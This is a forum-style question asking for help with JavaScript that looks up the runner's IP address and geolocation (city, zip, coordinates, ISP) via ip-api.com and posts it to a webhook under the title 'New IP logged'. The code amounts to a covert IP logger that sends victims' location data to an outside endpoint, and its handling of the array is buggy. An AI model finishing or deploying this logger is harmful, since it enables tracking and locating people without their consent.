I am trying to get data from an API, push the fetched data to an array and then send (post) that array with the data in a webhook. I tried description: data,, but it doesn't work. Can someone help me or is it even possible with js?
const api = "http://ip-api.com/json/"
var ipinfo = [
]
async function getIP() {
const response = await fetch (api)
const data = await response.json();
const { city, zip, country, countryCode, lat, lon, org, query, region, regionname, timezone } = data;
ipinfo.push(data);
console.log(ipinfo)
}
getIP();
function sendMessage() {
fetch(
'WEBHOOK URL', {
method: 'post',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify ({
allowed_mentions: {
parse: ['users', 'roles'],
},
// embeds to be sent
embeds: [{
title: 'New IP logged',
description: "ipinfo" + ipinfo,
},
],
}),
}
);
}